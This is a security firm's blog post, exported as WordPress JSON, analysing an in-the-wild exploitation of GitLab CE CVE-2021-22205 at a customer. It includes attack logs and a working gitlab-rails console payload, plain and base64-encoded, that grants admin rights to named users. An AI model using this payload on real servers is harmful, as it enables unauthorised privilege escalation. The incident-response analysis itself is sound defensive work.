{"id":539,"date":"2021-10-25T09:20:06","date_gmt":"2021-10-25T07:20:06","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=539"},"modified":"2025-09-09T09:35:53","modified_gmt":"2025-09-09T09:35:53","slug":"gitlab-ce-cve-2021-22205-in-the-wild","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","title":{"rendered":"GitLab CE CVE-2021-22205 in the wild"},"content":{"rendered":"<p>A few months ago one of our customers found <strong>two suspicious user accounts with admin rights<\/strong> on its Internet-exposed <strong>GitLab CE server<\/strong>, and asked us to investigate what it looked like a security incident. Here&#8217;s what we found:<\/p>\n<p>1) Between June and July 2021, two users were registered with random-looking usernames.<\/p>\n<figure id=\"attachment_559\" aria-describedby=\"caption-attachment-559\" style=\"width: 425px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-559 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-15.42.53-1.png\" alt=\"\" width=\"425\" height=\"588\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-15.42.53-1.png 425w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-15.42.53-1-217x300.png 217w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-15.42.53-1-350x484.png 350w\" sizes=\"(max-width: 425px) 100vw, 425px\" \/><figcaption id=\"caption-attachment-559\" class=\"wp-caption-text\">Suspicious admin users<\/figcaption><\/figure>\n<p>This was possible because this version of GitLab CE permits user registration by default. Moreover, <strong>the email address<\/strong> specified during the registration phase <strong>isn&#8217;t verified by default<\/strong>, thus <strong>the newly created user is automatically logged on<\/strong> without any further steps. In addition, no notifications are sent to the administrators.<\/p>\n<figure id=\"attachment_546\" aria-describedby=\"caption-attachment-546\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-546 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-12.13.07-1.png\" alt=\"\" width=\"974\" height=\"294\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-12.13.07-1.png 974w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-12.13.07-1-300x91.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-12.13.07-1-768x232.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/Schermata-2021-09-20-alle-12.13.07-1-350x106.png 350w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-546\" class=\"wp-caption-text\">GitLab default sign-up restrictions<\/figcaption><\/figure>\n<p>2) A few days later, the attackers logged on the GitLab server as the two newly created users and apparently did not perform any other actions.<\/p>\n<p>So we decided to investigate how the attackers <strong>escalated their privileges to admin rights<\/strong>. Luckily, the logs were backed up so we could find the first traces of the exploitation steps within the following log files:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-linenumbers=\"false\">\/var\/log\/gitlab\/nginx\/gitlab-access.log\r\n\/var\/log\/gitlab\/nginx\/access.log<\/pre>\n<p>The actions performed by the attackers are the following:<\/p>\n<p>a) User registration and login:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"GET \/users\/sign_up HTTP\/1.1\" 302 122 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/users\/sign_in HTTP\/1.1\" 200 4042 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/users\/sign_in HTTP\/1.1\" 200 4043 \"\" \"python-requests\/2.25.1\" \r\n\"POST \/users HTTP\/1.1\" 302 113 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/dashboard\/projects HTTP\/1.1\" 200 8185 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/users\/sign_in HTTP\/1.1\" 200 4043 \"\" \"python-requests\/2.25.1\" \r\n\"POST \/users\/sign_in HTTP\/1.1\" 302 95 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/ HTTP\/1.1\" 200 8068 \"\" \"python-requests\/2.25.1\"<\/pre>\n<p>b) GitLab API abuse to list all the projects (including private projects):<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"GET \/api\/v4\/projects\/?simple=yes&amp;private=true&amp;per_page=1000&amp;page=1 HTTP\/1.1\" 200 2760 \"\" \"python-requests\/2.25.1\"<\/pre>\n<p>c) Open an issue for the first project in the list, then upload an attachment to this issue:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-highlight=\"3\">\"GET \/user\/project HTTP\/1.1\" 200 13567 \"\" \"python-requests\/2.25.1\" \r\n\"GET \/user\/project\/issues\/new HTTP\/1.1\" 200 10317 \"\" \"python-requests\/2.25.1\" \r\n\"POST \/user\/project\/uploads HTTP\/1.1\" 422 24 \"https:\/\/git.victim\/user\/project\/issues\/new\" \"python-requests\/2.25.1\"<\/pre>\n<p>That&#8217;s it, no other actions were taken by the attackers.<\/p>\n<p><strong>The attachment upload caught our attention<\/strong>, so we set up a GitLab server in our lab in an attempt to replicate what we saw in the wild. Meanwhile, we noticed that a recently released exploit for <a href=\"https:\/\/github.com\/CsEnox\/Gitlab-Exiftool-RCE\/blob\/main\/exploit.py\">CVE-2021-22205<\/a> abuses the upload functionality in order to remotely execute arbitrary OS commands. The vulnerability resides in <strong>ExifTool<\/strong>, an open source tool used to remove metadata from images, which fails in parsing certain metadata embedded in the uploaded image, resulting in code execution as described <a href=\"https:\/\/hackerone.com\/reports\/1154542\">here<\/a>.<\/p>\n<p>GitLab is composed of many components (Redis, Nginx, etc.). The one that handles uploads is called <strong>gitlab-workhorse<\/strong>, which in turn calls ExifTool before passing the final attachment to Rails as shown below:<\/p>\n<figure id=\"attachment_549\" aria-describedby=\"caption-attachment-549\" style=\"width: 435px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-549 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/seqdiag-1.png\" alt=\"\" width=\"435\" height=\"268\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/seqdiag-1.png 435w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/seqdiag-1-300x185.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/seqdiag-1-350x216.png 350w\" sizes=\"(max-width: 435px) 100vw, 435px\" \/><figcaption id=\"caption-attachment-549\" class=\"wp-caption-text\">Upload sequence diagram<\/figcaption><\/figure>\n<p>So we dug into the logs a little deeper and <strong>we found evidences of two failed uploads within the Workhorse logs<\/strong>. We then ran the publicly available exploit against our lab server and noticed very similar patterns in our logs.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-highlight=\"2\">{\"correlation_id\":\"cp1VzPnRzE4\",\"filename\":\"exploit.jpg\",\"level\":\"info\",\"msg\":\"running exiftool to remove any metadata\",\"time\":\"2021-09-20T10:30:04+02:00\"}\r\n{\"command\":[\"exiftool\",\"-all=\",\"--IPTC:all\",\"--XMP-iptcExt:all\",\"-tagsFromFile\",\"@\",\"-ResolutionUnit\",\"-XResolution\",\"-YResolution\",\"-YCbCrSubSampling\",\"-YCbCrPositioning\",\"-BitsPerSample\",\"-ImageHeight\",\"-ImageWidth\",\"-ImageSize\",\"-Copyright\",\"-CopyrightNotice\",\"-Orientation\",\"-\"],\"correlation_id\":\"cp1VzPnRzE4\",\"error\":\"exit status 1\",\"level\":\"info\",\"msg\":\"exiftool command failed\",\"stderr\":\"Error: Writing of this type of file is not supported - -\\n\",\"time\":\"2021-09-20T10:30:24+02:00\"}\r\n{\"correlation_id\":\"cp1VzPnRzE4\",\"error\":\"error while removing EXIF\",\"level\":\"error\",\"method\":\"POST\",\"msg\":\"error\",\"time\":\"2021-09-20T10:30:24+02:00\",\"uri\":\"\/uploads\/user\"}<\/pre>\n<p>Unfortunately, <strong>ExifTools fail to save the uploaded image so we couldn&#8217;t easily identify the actually executed payload<\/strong>.<\/p>\n<p>The payload used by the public exploit can execute a reverse shell, whereas the one used against our customer simply escalated the rights of the two previously registered users to admin. What kind of payload could the attackers have used? After reading a bit of GitLab documentation we came up with the following one-liner that can be used to manipulate user profiles (including rights) from the command line:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-linenumbers=\"false\">echo 'user = User.find_by(username: \"czxvcxbxcvbnvcxvbxv\");user.admin=\"true\";user.save!' | gitlab-rails console\r\n\r\n\/usr\/bin\/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogImN6eHZjeGJ4Y3ZibnZjeHZieHYiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | \/usr\/bin\/gitlab-rails console<\/pre>\n<p>We used the above command as a payload for the publicly available exploit and we successfully obtained admin privs for the two users we previously created.<\/p>\n<p><strong>What appeared to be a privilege escalation vulnerability turned out to be an RCE vulnerability.<\/strong><\/p>\n<p>Now some interesting aspects we discovered while performing this incident analysis. It appears that we can boil down the whole exploiting process to just two requests: on a default GitLab installation (up until version 13.10.2) there&#8217;s no need to abuse the API to find a valid project, no need to open an issue, and most importantly <strong>no need to authenticate<\/strong>, as shown in the following screenshots:<\/p>\n<figure id=\"attachment_560\" aria-describedby=\"caption-attachment-560\" style=\"width: 640px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-560 size-large\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-1-1-1024x523.png\" alt=\"\" width=\"640\" height=\"327\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-1-1-1024x523.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-1-1-300x153.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-1-1-768x392.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-1-1-350x179.png 350w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-1-1.png 1381w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-560\" class=\"wp-caption-text\">First request to get the &#8220;csrf-token&#8221; \/ &#8220;authenticity-token&#8221;<\/figcaption><\/figure>\n<figure id=\"attachment_561\" aria-describedby=\"caption-attachment-561\" style=\"width: 640px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-561 size-large\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-2-1-1024x524.png\" alt=\"\" width=\"640\" height=\"328\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-2-1-1024x524.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-2-1-300x154.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-2-1-768x393.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-2-1-350x179.png 350w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2021\/09\/MicrosoftTeams-image-2-1.png 1381w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-561\" class=\"wp-caption-text\">Second request to perform the unauthenticated malicious upload<\/figcaption><\/figure>\n<p>All the vulnerabilities described in this post (ExifTool, API abuse, User registration, etc.) are not present in the latest GitLab CE version (14.4.0 at the time of this writing).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>A few months ago one of our customers found two suspicious user accounts with admin rights on its Internet-exposed GitLab [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":159915,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[78,81,91],"tags":[77,101,102,103],"class_list":["post-539","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-exploits","category-vulnerabilities","category-articles","tag-exploit","tag-cve-2021-22205","tag-gitlab","tag-incident-response"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HN Security - GitLab CE CVE-2021-22205 in the wild -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security - GitLab CE CVE-2021-22205 in the wild -\" \/>\n<meta property=\"og:description\" content=\"A few months ago one of our customers found two suspicious user accounts with admin rights on its Internet-exposed GitLab [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2021-10-25T07:20:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-09-09T09:35:53+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Piergiovanni Cipolloni\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Piergiovanni Cipolloni\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\"},\"author\":{\"name\":\"Piergiovanni Cipolloni\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/66375aa4f81d2c08ed543cc2f9f52f0c\"},\"headline\":\"GitLab CE CVE-2021-22205 in the wild\",\"datePublished\":\"2021-10-25T07:20:06+00:00\",\"dateModified\":\"2025-09-09T09:35:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\"},\"wordCount\":659,\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"keywords\":[\"exploit\",\"cve-2021-22205\",\"gitlab\",\"incident response\"],\"articleSection\":[\"Exploits\",\"Vulnerabilities\",\"Articles\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\",\"name\":\"HN Security - GitLab CE CVE-2021-22205 in the wild -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"datePublished\":\"2021-10-25T07:20:06+00:00\",\"dateModified\":\"2025-09-09T09:35:53+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/GITLAB.jpg\",\"width\":1600,\"height\":836,\"caption\":\"GitLab logo\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/gitlab-ce-cve-2021-22205-in-the-wild\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"GitLab CE CVE-2021-22205 in the wild\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/hnsec\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hnsecurity\\\/\",\"https:\\\/\\\/github.com\\\/hnsecurity\",\"https:\\\/\\\/infosec.exchange\\\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/66375aa4f81d2c08ed543cc2f9f52f0c\",\"name\":\"Piergiovanni Cipolloni\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g\",\"caption\":\"Piergiovanni Cipolloni\"},\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/author\\\/piergiovanni-cipolloni\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security - GitLab CE CVE-2021-22205 in the wild -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security - GitLab CE CVE-2021-22205 in the wild -","og_description":"A few months ago one of our customers found two suspicious user accounts with admin rights on its Internet-exposed GitLab [&hellip;]","og_url":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","og_site_name":"HN Security","article_published_time":"2021-10-25T07:20:06+00:00","article_modified_time":"2025-09-09T09:35:53+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","type":"image\/jpeg"}],"author":"Piergiovanni Cipolloni","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Piergiovanni Cipolloni","Tempo di lettura stimato":"5 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/"},"author":{"name":"Piergiovanni Cipolloni","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/66375aa4f81d2c08ed543cc2f9f52f0c"},"headline":"GitLab CE CVE-2021-22205 in the wild","datePublished":"2021-10-25T07:20:06+00:00","dateModified":"2025-09-09T09:35:53+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/"},"wordCount":659,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","keywords":["exploit","cve-2021-22205","gitlab","incident response"],"articleSection":["Exploits","Vulnerabilities","Articles"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","url":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/","name":"HN Security - GitLab CE CVE-2021-22205 in the wild -","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","datePublished":"2021-10-25T07:20:06+00:00","dateModified":"2025-09-09T09:35:53+00:00","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","width":1600,"height":836,"caption":"GitLab logo"},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/gitlab-ce-cve-2021-22205-in-the-wild\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"GitLab CE CVE-2021-22205 in the wild"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/66375aa4f81d2c08ed543cc2f9f52f0c","name":"Piergiovanni Cipolloni","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/453f5e2867f1519ce59622a77ab07c410f32d8c96be6823d96a0034f08eacd53?s=96&d=mm&r=g","caption":"Piergiovanni Cipolloni"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/piergiovanni-cipolloni\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/GITLAB.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/539","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=539"}],"version-history":[{"count":1,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/539\/revisions"}],"predecessor-version":[{"id":159979,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/539\/revisions\/159979"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159915"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=539"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/categories?post=539"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=539"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}